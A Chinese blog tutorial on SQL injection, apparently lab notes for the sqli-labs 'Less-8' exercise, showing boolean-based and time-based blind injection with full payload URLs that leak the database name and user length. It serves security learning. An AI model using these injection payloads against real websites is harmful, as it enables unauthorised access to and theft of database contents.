zoukankan      html  css  js  c++  java
  • SQL注入-2

    SQL注入的一般步骤

    1.报错:需要用单引号 双引号 或者左小括号判断字符串 被什么包裹

    2.正常:闭合语句,让语句不出现语法错误

    3.判断列数 : order by 关键字

    4.查询想要的内容 联合查询 union

    基于报错的注入方式

    布尔型盲注

    条件:页面存在异常情况 ,但没有回显且没有报错信息

    ascii('test') 返回 ascii码

    ascii码范围是 0~127

     返回指定字符串最左侧字符的ASCII值

     练习1.

    目标:http://10.1.2.5:10631/sqli/Less-8/?id=1

    方法:布尔型盲注

    http://10.1.2.5:10631/sqli/Less-8/?id=1' 页面显示不正常

    http://10.1.2.5:10631/sqli/Less-8/?id=1" 页面显示正常

    http://10.1.2.5:10631/sqli/Less-8/?id=1) 页面显示正常  说明存在单引号注入

    http://10.1.2.5:10631/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) =0 %23 使用二分法进行实验 如果正确页面显示正常

    http://10.1.2.5:10631/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) =115 %23

    查询当前数据库用户名的长度

    user():
    连接时指定的user name 和 连接时客户端的host(可以连接这个数据库的用户)
     
    current_user():
    认证时的用户名和host name,对应 mysq.user表中的记录(当前连接这个数据库的用户)

    length() 返回内容的长度

    char() 返回ascii码对应的字符 比如,char(114) => r

    http://10.1.2.5:10631/sqli/Less-8/?id=1' and  length(user())=14 %23

    时间型盲注

    条件:不管输入什么页面都没有任何异常,且没有回显没有报错信息

    select if(True,2,3) => 2

    select if(False,2,3) =>3

    select if( payload,sleep(3),1) 如果payload 是真 三秒后执行 如果是假 立即执行

    select if(length(current_user())>10,sleep(2),1); 查询当前用户名的长度是多少

  • 相关阅读:
    linux addr2line 定位so库崩溃位置
    转:关于Android机型适配这件小事儿
    转:android studio 改编译区背景色
    转:ios review推送与执行
    k2pdfopt下载页
    转:让kindle更好的支持pdf
    转:各种文本格式转换的网站
    转: iOS崩溃堆栈符号表使用与用途
    转: 腾讯Bugly干货分享:Android应用性能评测调优
    转: git的图文使用教程(巨详细)
  • 原文地址:https://www.cnblogs.com/Abelte/p/8881424.html
Copyright © 2011-2022 走看看